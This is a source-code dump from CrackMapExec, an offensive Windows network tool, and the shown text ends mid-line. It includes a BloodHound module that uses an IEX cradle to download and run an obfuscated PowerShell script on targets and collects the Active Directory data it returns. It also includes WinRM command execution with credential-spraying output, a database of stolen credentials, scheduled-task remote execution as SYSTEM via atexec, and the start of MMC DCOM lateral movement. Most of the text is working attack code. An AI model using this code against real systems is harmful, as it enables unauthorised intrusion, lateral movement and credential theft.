22 | 23 | def options(self, context, module_options): 24 | ''' 25 | THREADS Max numbers of threads to execute on target (defaults to 20) 26 | COLLECTIONMETHOD Method used by BloodHound ingestor to collect data (defaults to 'Default') 27 | CSVPATH (optional) Path where csv files will be written on target (defaults to C:\) 28 | NEO4JURI (optional) URI for direct Neo4j ingestion (defaults to blank) 29 | NEO4JUSER (optional) Username for direct Neo4j ingestion 30 | NEO4JPASS (optional) Pass for direct Neo4j ingestion 31 | 32 | Give NEO4J options to perform direct Neo4j ingestion (no CSVs on target) 33 | ''' 34 | 35 | self.threads = 3 36 | self.csv_path = 'C:\\' 37 | self.collection_method = 'Default' 38 | self.neo4j_URI = "" 39 | self.neo4j_user = "" 40 | self.neo4j_pass = "" 41 | 42 | if module_options and 'THREADS' in module_options: 43 | self.threads = module_options['THREADS'] 44 | if module_options and 'CSVPATH' in module_options: 45 | self.csv_path = module_options['CSVPATH'] 46 | if module_options and 'COLLECTIONMETHOD' in module_options: 47 | self.collection_method = module_options['COLLECTIONMETHOD'] 48 | if module_options and 'NEO4JURI' in module_options: 49 | self.neo4j_URI = module_options['NEO4JURI'] 50 | if module_options and 'NEO4JUSER' in module_options: 51 | self.neo4j_user = module_options['NEO4JUSER'] 52 | if module_options and 'NEO4JPASS' in module_options: 53 | self.neo4j_pass = module_options['NEO4JPASS'] 54 | 55 | if self.neo4j_URI != "" and self.neo4j_user != "" and self.neo4j_pass != "" : 56 | self.opsec_safe= True 57 | 58 | self.ps_script = obfs_ps_script('BloodHound-modified.ps1') 59 | 60 | def on_admin_login(self, context, connection): 61 | if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" : 62 | command = "Invoke-BloodHound -CSVFolder '{}' -Throttle '{}' -CollectionMethod '{}'".format(self.csv_path, self.threads, self.collection_method) 63 | else : 64 | command = 'Invoke-BloodHound -URI {} -UserPass "{}:{}" -Throttle {} -CollectionMethod {}'.format(self.neo4j_URI, self.neo4j_user, self.neo4j_pass, self.threads, self.collection_method) 65 | launcher = gen_ps_iex_cradle(context, 'BloodHound-modified.ps1', command) 66 | connection.ps_execute(launcher) 67 | context.log.success('Executed launcher') 68 | 69 | def on_request(self, context, request): 70 | if 'BloodHound-modified.ps1' == request.path[1:]: 71 | request.send_response(200) 72 | request.end_headers() 73 | request.wfile.write(self.ps_script) 74 | context.log.success('Executing payload... this can take a few minutes...') 75 | else: 76 | request.send_response(404) 77 | request.end_headers() 78 | 79 | def on_response(self, context, response): 80 | response.send_response(200) 81 | response.end_headers() 82 | length = int(response.headers.getheader('content-length')) 83 | data = response.rfile.read(length) 84 | response.stop_tracking_host() 85 | if self.neo4j_URI == "" and self.neo4j_user == "" and self.neo4j_pass == "" : 86 | self.parse_ouput(data, context, response) 87 | context.log.success("Successfully retreived data") 88 | 89 | def parse_ouput(self, data, context, response): 90 | ''' 91 | Parse the output from Invoke-BloodHound 92 | ''' 93 | 94 | parsedData = data.split("!-!") 95 | nameList = ['user_sessions', 'group_membership.csv', 'acls.csv', 'local_admins.csv', 'trusts.csv'] 96 | for x in range(0, len(parsedData)): 97 | if "ComputerName" in parsedData[x] and "UserName" in parsedData[x] : 98 | log_name = '{}-{}-{}.csv'.format(nameList[0], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 99 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) 100 | context.log.info("Saved csv output to {}".format(log_name)) 101 | elif "GroupName" in parsedData[x] and "AccountName" in parsedData[x] : 102 | log_name = '{}-{}-{}.csv'.format(nameList[1], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 103 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) 104 | context.log.info("Saved csv output to {}".format(log_name)) 105 | elif "ComputerName" in parsedData[x] and "AccountName" in parsedData[x] : 106 | log_name = '{}-{}-{}.csv'.format(nameList[3], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 107 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) 108 | context.log.info("Saved csv output to {}".format(log_name)) 109 | elif "SourceDomain" in parsedData[x] and "TrustType" in parsedData[x] : 110 | log_name = '{}-{}-{}.csv'.format(nameList[4], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 111 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) 112 | context.log.info("Saved csv output to {}".format(log_name)) 113 | elif "ObjectName" in parsedData[x] and "ObjectType" in parsedData[x] : 114 | log_name = '{}-{}-{}.csv'.format(nameList[2], response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S")) 115 | write_log(parsedData[x].replace('" "', '"\n"').replace(' "', '"'), log_name) 116 | context.log.info("Saved csv output to {}".format(log_name)) -------------------------------------------------------------------------------- /cme/protocols/winrm.py: -------------------------------------------------------------------------------- 1 | import winrm as pywinrm 2 | import requests 3 | import logging 4 | from StringIO import StringIO 5 | # from winrm.exceptions import InvalidCredentialsError 6 | from impacket.smbconnection import SMBConnection, SessionError 7 | from cme.connection import * 8 | from cme.helpers.logger import highlight 9 | from cme.logger import CMEAdapter 10 | from ConfigParser import ConfigParser 11 | 12 | # The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message 13 | from requests.packages.urllib3.exceptions import InsecureRequestWarning 14 | requests.packages.urllib3.disable_warnings(InsecureRequestWarning) 15 | 16 | 17 | class winrm(connection): 18 | 19 | def __init__(self, args, db, host): 20 | self.domain = None 21 | 22 | connection.__init__(self, args, db, host) 23 | 24 | @staticmethod 25 | def proto_args(parser, std_parser, module_parser): 26 | winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) 27 | dgroup = winrm_parser.add_mutually_exclusive_group() 28 | dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") 29 | dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') 30 | cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") 31 | cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') 32 | cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") 33 | cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') 34 | 35 | return parser 36 | 37 | def proto_flow(self): 38 | self.proto_logger() 39 | if self.create_conn_obj(): 40 | self.enum_host_info() 41 | self.print_host_info() 42 | if self.login(): 43 | if hasattr(self.args, 'module') and self.args.module: 44 | self.call_modules() 45 | else: 46 | self.call_cmd_args() 47 | 48 | def proto_logger(self): 49 | self.logger = CMEAdapter(extra={'protocol': 'WINRM', 50 | 'host': self.host, 51 | 'port': 'NONE', 52 | 'hostname': 'NONE'}) 53 | 54 | def enum_host_info(self): 55 | try: 56 | smb_conn = SMBConnection(self.host, self.host, None) 57 | try: 58 | smb_conn.login('', '') 59 | except SessionError as e: 60 | if "STATUS_ACCESS_DENIED" in e.message: 61 | pass 62 | 63 | self.domain = smb_conn.getServerDomain() 64 | self.hostname = smb_conn.getServerName() 65 | 66 | self.logger.extra['hostname'] = self.hostname 67 | 68 | try: 69 | smb_conn.logoff() 70 | except: 71 | pass 72 | 73 | except Exception as e: 74 | logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) 75 | 76 | if self.args.domain: 77 | self.domain = self.args.domain 78 | 79 | if self.args.local_auth: 80 | self.domain = self.hostname 81 | 82 | def print_host_info(self): 83 | self.logger.info(self.endpoint) 84 | 85 | def create_conn_obj(self): 86 | endpoints = [ 87 | 'https://{}:5986/wsman'.format(self.host), 88 | 'http://{}:5985/wsman'.format(self.host) 89 | ] 90 | 91 | for url in endpoints: 92 | try: 93 | requests.get(url, verify=False, timeout=10) 94 | self.endpoint = url 95 | if self.endpoint.startswith('https://'): 96 | self.port = 5986 97 | else: 98 | self.port = 5985 99 | 100 | self.logger.extra['port'] = self.port 101 | 102 | return True 103 | except Exception as e: 104 | if 'Max retries exceeded with url' not in str(e): 105 | logging.debug('Error in WinRM create_conn_obj:' + str(e)) 106 | 107 | return False 108 | 109 | def plaintext_login(self, domain, username, password): 110 | try: 111 | self.conn = pywinrm.Session(self.host, 112 | auth=('{}\\{}'.format(domain, username), password), 113 | transport='ntlm', 114 | server_cert_validation='ignore') 115 | 116 | # TO DO: right now we're just running the hostname command to make the winrm library auth to the server 117 | # we could just authenticate without running a command :) (probably) 118 | self.conn.run_cmd('hostname') 119 | self.admin_privs = True 120 | self.logger.success(u'{}\\{}:{} {}'.format(self.domain.decode('utf-8'), 121 | username.decode('utf-8'), 122 | password.decode('utf-8'), 123 | highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) 124 | 125 | return True 126 | 127 | except Exception as e: 128 | self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain.decode('utf-8'), 129 | username.decode('utf-8'), 130 | password.decode('utf-8'), 131 | e)) 132 | 133 | return False 134 | 135 | def parse_output(self, response_obj): 136 | if response_obj.status_code == 0: 137 | buf = StringIO(response_obj.std_out).readlines() 138 | for line in buf: 139 | self.logger.highlight(line.decode('utf-8').strip()) 140 | 141 | return response_obj.std_out 142 | 143 | else: 144 | buf = StringIO(response_obj.std_err).readlines() 145 | for line in buf: 146 | self.logger.highlight(line.decode('utf-8').strip()) 147 | 148 | return response_obj.std_err 149 | 150 | def execute(self, payload=None, get_output=False): 151 | r = self.conn.run_cmd(self.args.execute) 152 | self.logger.success('Executed command') 153 | self.parse_output(r) 154 | 155 | def ps_execute(self, payload=None, get_output=False): 156 | r = self.conn.run_ps(self.args.ps_execute) 157 | self.logger.success('Executed command') 158 | self.parse_output(r) 159 | -------------------------------------------------------------------------------- /cme/protocols/mssql/db_navigator.py: -------------------------------------------------------------------------------- 1 | from cme.helpers.misc import validate_ntlm 2 | from cme.cmedb import DatabaseNavigator 3 | 4 | 5 | class navigator(DatabaseNavigator): 6 | 7 | def display_creds(self, creds): 8 | 9 | data = [['CredID', 'Admin On', 'CredType', 'Domain', 'UserName', 'Password']] 10 | 11 | for cred in creds: 12 | 13 | credID = cred[0] 14 | domain = cred[1] 15 | username = cred[2] 16 | password = cred[3] 17 | credtype = cred[4] 18 | # pillaged_from = cred[5] 19 | 20 | links = self.db.get_admin_relations(userID=credID) 21 | 22 | data.append([credID, str(len(links)) + ' Host(s)', credtype, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')]) 23 | 24 | self.print_table(data, title='Credentials') 25 | 26 | def display_hosts(self, hosts): 27 | 28 | data = [['HostID', 'Admins', 'IP', 'Hostname', 'Domain', 'OS', 'DB Instances']] 29 | 30 | for host in hosts: 31 | 32 | hostID = host[0] 33 | ip = host[1] 34 | hostname = host[2] 35 | domain = host[3] 36 | os = host[4] 37 | instances = host[5] 38 | 39 | links = self.db.get_admin_relations(hostID=hostID) 40 | 41 | data.append([hostID, str(len(links)) + ' Cred(s)', ip, hostname.decode('utf-8'), domain.decode('utf-8'), os, instances]) 42 | 43 | self.print_table(data, title='Hosts') 44 | 45 | def do_hosts(self, line): 46 | 47 | filterTerm = line.strip() 48 | 49 | if filterTerm == "": 50 | hosts = self.db.get_computers() 51 | self.display_hosts(hosts) 52 | else: 53 | hosts = self.db.get_computers(filterTerm=filterTerm) 54 | 55 | if len(hosts) > 1: 56 | self.display_hosts(hosts) 57 | elif len(hosts) == 1: 58 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] 59 | hostIDList = [] 60 | 61 | for host in hosts: 62 | hostID = host[0] 63 | hostIDList.append(hostID) 64 | 65 | ip = host[1] 66 | hostname = host[2] 67 | domain = host[3] 68 | os = host[4] 69 | 70 | data.append([hostID, ip, hostname.decode('utf-8'), domain.decode('utf-8'), os]) 71 | 72 | self.print_table(data, title='Host(s)') 73 | 74 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] 75 | for hostID in hostIDList: 76 | links = self.db.get_admin_relations(hostID=hostID) 77 | 78 | for link in links: 79 | linkID, credID, hostID = link 80 | creds = self.db.get_credentials(filterTerm=credID) 81 | 82 | for cred in creds: 83 | credID = cred[0] 84 | domain = cred[1] 85 | username = cred[2] 86 | password = cred[3] 87 | credtype = cred[4] 88 | # pillaged_from = cred[5] 89 | 90 | data.append([credID, credtype, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')]) 91 | 92 | self.print_table(data, title='Credential(s) with Admin Access') 93 | 94 | def do_creds(self, line): 95 | 96 | filterTerm = line.strip() 97 | 98 | if filterTerm == "": 99 | creds = self.db.get_credentials() 100 | self.display_creds(creds) 101 | 102 | elif filterTerm.split()[0].lower() == "add": 103 | args = filterTerm.split()[1:] 104 | 105 | if len(args) == 3: 106 | domain, username, password = args 107 | if validate_ntlm(password): 108 | self.db.add_credential("hash", domain, username, password) 109 | else: 110 | self.db.add_credential("plaintext", domain, username, password) 111 | 112 | else: 113 | print "[!] Format is 'add domain username password" 114 | return 115 | 116 | elif filterTerm.split()[0].lower() == "remove": 117 | 118 | args = filterTerm.split()[1:] 119 | if len(args) != 1: 120 | print "[!] Format is 'remove '" 121 | return 122 | else: 123 | self.db.remove_credentials(args) 124 | self.db.remove_links(credIDs=args) 125 | 126 | elif filterTerm.split()[0].lower() == "plaintext": 127 | creds = self.db.get_credentials(credtype="plaintext") 128 | self.display_creds(creds) 129 | 130 | elif filterTerm.split()[0].lower() == "hash": 131 | creds = self.db.get_credentials(credtype="hash") 132 | self.display_creds(creds) 133 | 134 | else: 135 | creds = self.db.get_credentials(filterTerm=filterTerm) 136 | 137 | data = [['CredID', 'CredType', 'Domain', 'UserName', 'Password']] 138 | credIDList = [] 139 | 140 | for cred in creds: 141 | credID = cred[0] 142 | credIDList.append(credID) 143 | 144 | credType = cred[1] 145 | domain = cred[2] 146 | username = cred[3] 147 | password = cred[4] 148 | 149 | data.append([credID, credType, domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8')]) 150 | 151 | self.print_table(data, title='Credential(s)') 152 | 153 | data = [['HostID', 'IP', 'Hostname', 'Domain', 'OS']] 154 | for credID in credIDList: 155 | links = self.db.get_admin_relations(userID=credID) 156 | 157 | for link in links: 158 | linkID, credID, hostID = link 159 | hosts = self.db.get_computers(hostID) 160 | 161 | for host in hosts: 162 | hostID = host[0] 163 | ip = host[1] 164 | hostname = host[2] 165 | domain = host[3] 166 | os = host[4] 167 | 168 | data.append([hostID, ip, hostname.decode('utf-8'), domain.decode('utf-8'), os]) 169 | 170 | self.print_table(data, title='Admin Access to Host(s)') 171 | 172 | def complete_hosts(self, text, line, begidx, endidx): 173 | "Tab-complete 'creds' commands." 174 | 175 | commands = ["add", "remove"] 176 | 177 | mline = line.partition(' ')[2] 178 | offs = len(mline) - len(text) 179 | return [s[offs:] for s in commands if s.startswith(mline)] 180 | 181 | def complete_creds(self, text, line, begidx, endidx): 182 | "Tab-complete 'creds' commands." 183 | 184 | commands = ["add", "remove", "hash", "plaintext"] 185 | 186 | mline = line.partition(' ')[2] 187 | offs = len(mline) - len(text) 188 | return [s[offs:] for s in commands if s.startswith(mline)] 189 | -------------------------------------------------------------------------------- /cme/protocols/mssql/database.py: -------------------------------------------------------------------------------- 1 | class database: 2 | 3 | def __init__(self, conn): 4 | self.conn = conn 5 | 6 | @staticmethod 7 | def db_schema(db_conn): 8 | db_conn.execute('''CREATE TABLE "computers" ( 9 | "id" integer PRIMARY KEY, 10 | "ip" text, 11 | "hostname" text, 12 | "domain" text, 13 | "os" text, 14 | "instances" integer 15 | )''') 16 | 17 | # This table keeps track of which credential has admin access over which machine and vice-versa 18 | db_conn.execute('''CREATE TABLE "admin_relations" ( 19 | "id" integer PRIMARY KEY, 20 | "userid" integer, 21 | "computerid" integer, 22 | FOREIGN KEY(userid) REFERENCES users(id), 23 | FOREIGN KEY(computerid) REFERENCES computers(id) 24 | )''') 25 | 26 | # type = hash, plaintext 27 | db_conn.execute('''CREATE TABLE "users" ( 28 | "id" integer PRIMARY KEY, 29 | "credtype" text, 30 | "domain" text, 31 | "username" text, 32 | "password" text 33 | )''') 34 | 35 | def add_computer(self, ip, hostname, domain, os, instances): 36 | """ 37 | Check if this host has already been added to the database, if not add it in. 38 | """ 39 | cur = self.conn.cursor() 40 | 41 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [ip]) 42 | results = cur.fetchall() 43 | 44 | if not len(results): 45 | cur.execute("INSERT INTO computers (ip, hostname, domain, os, instances) VALUES (?,?,?,?,?)", [ip, hostname, domain, os, instances]) 46 | 47 | cur.close() 48 | 49 | def add_credential(self, credtype, domain, username, password): 50 | """ 51 | Check if this credential has already been added to the database, if not add it in. 52 | """ 53 | cur = self.conn.cursor() 54 | 55 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password]) 56 | results = cur.fetchall() 57 | 58 | if not len(results): 59 | cur.execute("INSERT INTO users (credtype, domain, username, password) VALUES (?,?,?,?)", [credtype, domain, username, password]) 60 | 61 | cur.close() 62 | 63 | def remove_credentials(self, credIDs): 64 | """ 65 | Removes a credential ID from the database 66 | """ 67 | for credID in credIDs: 68 | cur = self.conn.cursor() 69 | cur.execute("DELETE FROM users WHERE id=?", [credID]) 70 | cur.close() 71 | 72 | def add_admin_user(self, credtype, domain, username, password, host): 73 | 74 | cur = self.conn.cursor() 75 | 76 | cur.execute("SELECT * FROM users WHERE credtype=? AND LOWER(domain)=LOWER(?) AND LOWER(username)=LOWER(?) AND password=?", [credtype, domain, username, password]) 77 | creds = cur.fetchall() 78 | 79 | cur.execute('SELECT * FROM computers WHERE ip LIKE ?', [host]) 80 | hosts = cur.fetchall() 81 | 82 | if len(creds) and len(hosts): 83 | for cred, host in zip(creds, hosts): 84 | userid = cred[0] 85 | computerid = host[0] 86 | 87 | # Check to see if we already added this link 88 | cur.execute("SELECT * FROM admin_relations WHERE userid=? AND computerid=?", [userid, computerid]) 89 | links = cur.fetchall() 90 | 91 | if not len(links): 92 | cur.execute("INSERT INTO admin_relations (userid, computerid) VALUES (?,?)", [userid, computerid]) 93 | 94 | cur.close() 95 | 96 | def get_admin_relations(self, userID=None, hostID=None): 97 | 98 | cur = self.conn.cursor() 99 | 100 | if userID: 101 | cur.execute("SELECT * from admin_relations WHERE userid=?", [userID]) 102 | 103 | elif hostID: 104 | cur.execute("SELECT * from admin_relations WHERE computerid=?", [hostID]) 105 | 106 | results = cur.fetchall() 107 | cur.close() 108 | return results 109 | 110 | def remove_admin_relation(self, userIDs=None, hostIDs=None): 111 | 112 | cur = self.conn.cursor() 113 | 114 | if userIDs: 115 | for userID in userIDs: 116 | cur.execute("DELETE FROM admin_relations WHERE userid=?", [userID]) 117 | 118 | elif hostIDs: 119 | for hostID in hostIDs: 120 | cur.execute("DELETE FROM admin_relations WHERE computerid=?", [hostID]) 121 | 122 | cur.close() 123 | 124 | def is_credential_valid(self, credentialID): 125 | """ 126 | Check if this credential ID is valid. 127 | """ 128 | cur = self.conn.cursor() 129 | cur.execute('SELECT * FROM users WHERE id=? LIMIT 1', [credentialID]) 130 | results = cur.fetchall() 131 | cur.close() 132 | return len(results) > 0 133 | 134 | def get_credentials(self, filterTerm=None, credtype=None): 135 | """ 136 | Return credentials from the database. 137 | """ 138 | 139 | cur = self.conn.cursor() 140 | 141 | # if we're returning a single credential by ID 142 | if self.is_credential_valid(filterTerm): 143 | cur.execute("SELECT * FROM users WHERE id=? LIMIT 1", [filterTerm]) 144 | 145 | # if we're filtering by credtype 146 | elif credtype: 147 | cur.execute("SELECT * FROM users WHERE credtype=?", [credtype]) 148 | 149 | # if we're filtering by username 150 | elif filterTerm and filterTerm != "": 151 | cur.execute("SELECT * FROM users WHERE LOWER(username) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower())]) 152 | 153 | # otherwise return all credentials 154 | else: 155 | cur.execute("SELECT * FROM users") 156 | 157 | results = cur.fetchall() 158 | cur.close() 159 | return results 160 | 161 | def is_computer_valid(self, hostID): 162 | """ 163 | Check if this computer ID is valid. 164 | """ 165 | cur = self.conn.cursor() 166 | cur.execute('SELECT * FROM computers WHERE id=? LIMIT 1', [hostID]) 167 | results = cur.fetchall() 168 | cur.close() 169 | return len(results) > 0 170 | 171 | def get_computers(self, filterTerm=None): 172 | """ 173 | Return computers from the database. 174 | """ 175 | 176 | cur = self.conn.cursor() 177 | 178 | # if we're returning a single host by ID 179 | if self.is_computer_valid(filterTerm): 180 | cur.execute("SELECT * FROM computers WHERE id=? LIMIT 1", [filterTerm]) 181 | 182 | # if we're filtering by ip/hostname 183 | elif filterTerm and filterTerm != "": 184 | cur.execute("SELECT * FROM computers WHERE ip LIKE ? OR LOWER(hostname) LIKE LOWER(?)", ['%{}%'.format(filterTerm.lower()), '%{}%'.format(filterTerm.lower())]) 185 | 186 | # otherwise return all credentials 187 | else: 188 | cur.execute("SELECT * FROM computers") 189 | 190 | results = cur.fetchall() 191 | cur.close() 192 | return results 193 | -------------------------------------------------------------------------------- /cme/protocols/smb/atexec.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | from impacket.dcerpc.v5 import tsch, transport 4 | from impacket.dcerpc.v5.dtypes import NULL 5 | from cme.helpers.misc import gen_random_string 6 | from gevent import sleep 7 | 8 | class TSCH_EXEC: 9 | def __init__(self, target, share_name, username, password, domain, hashes=None): 10 | self.__target = target 11 | self.__username = username 12 | self.__password = password 13 | self.__domain = domain 14 | self.__share_name = share_name 15 | self.__lmhash = '' 16 | self.__nthash = '' 17 | self.__outputBuffer = '' 18 | self.__retOutput = False 19 | #self.__aesKey = aesKey 20 | #self.__doKerberos = doKerberos 21 | 22 | if hashes is not None: 23 | #This checks to see if we didn't provide the LM Hash 24 | if hashes.find(':') != -1: 25 | self.__lmhash, self.__nthash = hashes.split(':') 26 | else: 27 | self.__nthash = hashes 28 | 29 | if self.__password is None: 30 | self.__password = '' 31 | 32 | stringbinding = r'ncacn_np:%s[\pipe\atsvc]' % self.__target 33 | self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) 34 | 35 | if hasattr(self.__rpctransport, 'set_credentials'): 36 | # This method exists only for selected protocol sequences. 37 | self.__rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) 38 | #rpctransport.set_kerberos(self.__doKerberos) 39 | 40 | def execute(self, command, output=False): 41 | self.__retOutput = output 42 | self.execute_handler(command) 43 | return self.__outputBuffer 44 | 45 | def output_callback(self, data): 46 | self.__outputBuffer = data 47 | 48 | def execute_handler(self, data): 49 | if self.__retOutput: 50 | try: 51 | self.doStuff(data, fileless=True) 52 | except: 53 | self.doStuff(data) 54 | else: 55 | self.doStuff(data) 56 | 57 | def gen_xml(self, command, tmpFileName, fileless=False): 58 | 59 | xml = """ 60 | 61 | 62 | 63 | 2015-07-15T20:35:13.2757294 64 | true 65 | 66 | 1 67 | 68 | 69 | 70 | 71 | 72 | S-1-5-18 73 | HighestAvailable 74 | 75 | 76 | 77 | IgnoreNew 78 | false 79 | false 80 | true 81 | false 82 | 83 | true 84 | false 85 | 86 | true 87 | true 88 | true 89 | false 90 | false 91 | P3D 92 | 7 93 | 94 | 95 | 96 | cmd.exe 97 | """ 98 | if self.__retOutput: 99 | if fileless: 100 | local_ip = self.__rpctransport.get_socket().getsockname()[0] 101 | argument_xml = " /C {} > \\\\{}\\{}\\{} 2>&1".format(command, local_ip, self.__share_name, tmpFileName) 102 | else: 103 | argument_xml = " /C {} > %windir%\\Temp\\{} 2>&1".format(command, tmpFileName) 104 | 105 | elif self.__retOutput is False: 106 | argument_xml = " /C {}".format(command) 107 | 108 | logging.debug('Generated argument XML: ' + argument_xml) 109 | xml += argument_xml 110 | 111 | xml += """ 112 | 113 | 114 | 115 | """ 116 | return xml 117 | 118 | def doStuff(self, command, fileless=False): 119 | 120 | dce = self.__rpctransport.get_dce_rpc() 121 | 122 | dce.set_credentials(*self.__rpctransport.get_credentials()) 123 | dce.connect() 124 | #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) 125 | dce.bind(tsch.MSRPC_UUID_TSCHS) 126 | tmpName = gen_random_string(8) 127 | tmpFileName = tmpName + '.tmp' 128 | 129 | xml = self.gen_xml(command, tmpFileName, fileless) 130 | 131 | #logging.info("Task XML: {}".format(xml)) 132 | taskCreated = False 133 | logging.info('Creating task \\%s' % tmpName) 134 | tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE) 135 | taskCreated = True 136 | 137 | logging.info('Running task \\%s' % tmpName) 138 | tsch.hSchRpcRun(dce, '\\%s' % tmpName) 139 | 140 | done = False 141 | while not done: 142 | logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName) 143 | resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName) 144 | if resp['pLastRuntime']['wYear'] != 0: 145 | done = True 146 | else: 147 | sleep(2) 148 | 149 | logging.info('Deleting task \\%s' % tmpName) 150 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 151 | taskCreated = False 152 | 153 | if taskCreated is True: 154 | tsch.hSchRpcDelete(dce, '\\%s' % tmpName) 155 | 156 | if self.__retOutput: 157 | if fileless: 158 | while True: 159 | try: 160 | with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output: 161 | self.output_callback(output.read()) 162 | break 163 | except IOError: 164 | sleep(2) 165 | else: 166 | peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername())) 167 | smbConnection = self.__rpctransport.get_smb_connection() 168 | while True: 169 | try: 170 | #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName) 171 | smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback) 172 | break 173 | except Exception as e: 174 | if str(e).find('SHARING') > 0: 175 | sleep(3) 176 | elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0: 177 | sleep(3) 178 | else: 179 | raise 180 | #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName) 181 | smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) 182 | 183 | dce.disconnect() 184 | -------------------------------------------------------------------------------- /cme/protocols/smb/mmcexec.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2016 CORE Security Technologies 3 | # 4 | # This software is provided under under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # A similar approach to wmiexec but executing commands through MMC. 9 | # Main advantage here is it runs under the user (has to be Admin) 10 | # account, not SYSTEM, plus, it doesn't generate noisy messages 11 | # in the event log that smbexec.py does when creating a service. 12 | # Drawback is it needs DCOM, hence, I have to be able to access 13 | # DCOM ports at the target machine. 14 | # 15 | # Original discovery by Matt Nelson (@enigma0x3): 16 | # https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ 17 | # 18 | # Author: 19 | # beto (@agsolino) 20 | # 21 | # Reference for: 22 | # DCOM 23 | # 24 | # ToDo: 25 | # [ ] Kerberos auth not working, invalid_checksum is thrown. Most probably sequence numbers out of sync due to 26 | # getInterface() method 27 | # 28 | 29 | import logging 30 | import os 31 | from gevent import sleep 32 | from cme.helpers.misc import gen_random_string 33 | 34 | from impacket import version 35 | from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ 36 | VARIANT, VARENUM, DISPATCH_METHOD 37 | from impacket.dcerpc.v5.dcomrt import DCOMConnection 38 | from impacket.dcerpc.v5.dcomrt import OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ 39 | OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ 40 | IRemUnknown2, INTERFACE 41 | from impacket.dcerpc.v5.dtypes import NULL 42 | from impacket.examples import logger 43 | from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21 44 | 45 | class MMCEXEC: 46 | def __init__(self, host, share_name, username, password, domain, smbconnection, hashes=None): 47 | self.__host = host 48 | self.__username = username 49 | self.__password = password 50 | self.__smbconnection = smbconnection 51 | self.__domain = domain 52 | self.__lmhash = '' 53 | self.__nthash = '' 54 | self.__share_name = share_name 55 | self.__output = None 56 | self.__outputBuffer = '' 57 | self.__shell = 'c:\\windows\\system32\\cmd.exe' 58 | self.__pwd = 'C:\\' 59 | self.__quit = None 60 | self.__executeShellCommand = None 61 | self.__retOutput = True 62 | if hashes is not None: 63 | self.__lmhash, self.__nthash = hashes.split(':') 64 | 65 | dcom = DCOMConnection(self.__host, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, None, oxidResolver=True) 66 | try: 67 | iInterface = dcom.CoCreateInstanceEx(string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'), IID_IDispatch) 68 | iMMC = IDispatch(iInterface) 69 | 70 | resp = iMMC.GetIDsOfNames(('Document',)) 71 | 72 | dispParams = DISPPARAMS(None, False) 73 | dispParams['rgvarg'] = NULL 74 | dispParams['rgdispidNamedArgs'] = NULL 75 | dispParams['cArgs'] = 0 76 | dispParams['cNamedArgs'] = 0 77 | resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET, dispParams, 0, [], []) 78 | 79 | iDocument = IDispatch(self.getInterface(iMMC, resp['pVarResult']['_varUnion']['pdispVal']['abData'])) 80 | resp = iDocument.GetIDsOfNames(('ActiveView',)) 81 | resp = 